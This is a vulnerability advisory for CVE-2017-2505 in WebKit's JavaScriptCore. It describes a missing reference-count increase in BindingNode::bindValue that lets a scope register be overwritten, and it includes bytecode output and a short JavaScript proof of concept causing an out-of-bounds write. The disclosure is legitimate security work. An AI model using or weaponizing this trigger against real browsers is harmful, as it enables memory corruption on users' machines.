WebKit JSC BindingNode::bindValue Failed Reference Count Increase

WebKit JSC fails to increase the reference count in BindingNode::bindValue.


MD5 | 43ed0c992a03842425fb4fac2adfa311

 WebKit: JSC: BindingNode::bindValue doesn't increase the scope's reference count 

CVE-2017-2505


Here's a snippet of BindingNode::bindValue.

void BindingNode::bindValue(BytecodeGenerator& generator, RegisterID* value) const
{
...
RegisterID* scope = generator.emitResolveScope(nullptr, var);
generator.emitExpressionInfo(divotEnd(), divotStart(), divotEnd());
if (m_bindingContext == AssignmentContext::AssignmentExpression)
generator.emitTDZCheckIfNecessary(var, nullptr, scope);
if (isReadOnly) {
generator.emitReadOnlyExceptionIfNeeded(var);
return;
}
generator.emitPutToScope(scope, var, value, generator.isStrictMode() ? ThrowIfNotFound : DoNotThrowIfNotFound, initializationModeForAssignmentContext(m_bindingContext));
generator.emitProfileType(value, var, divotStart(), divotEnd());
if (m_bindingContext == AssignmentContext::DeclarationStatement || m_bindingContext == AssignmentContext::ConstDeclarationStatement)
generator.liftTDZCheckIfPossible(var);
...
}

That method uses |scope| without increasing its reference count. Thus, in |emitTDZCheckIfNecessary|, same |RegisterID| might be used.

Generated opcode of the PoC:
[ 124] resolve_scope loc13, loc3, a(@id4), <ClosureVar>, 0, 0x62d00011f1a0
[ 131] get_from_scope loc13, loc13, a(@id4), 1050627<DoNotThrowIfNotFound|ClosureVar|NotInitialization>, 0 predicting None
[ 139] op_check_tdz loc13
[ 141] put_to_scope loc13, a(@id4), loc12, 1050627<DoNotThrowIfNotFound|ClosureVar|NotInitialization>, <structure>, 0

At 131, loc13 which points the scope is overwritten with |a|.
At 141, |a| is used as a scope, and it causes OOB write.

PoC:
(function () {
let a = {
get val() {
[...{a = 1.45}] = [];
a.val.x;
},
};

a.val;
})();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt


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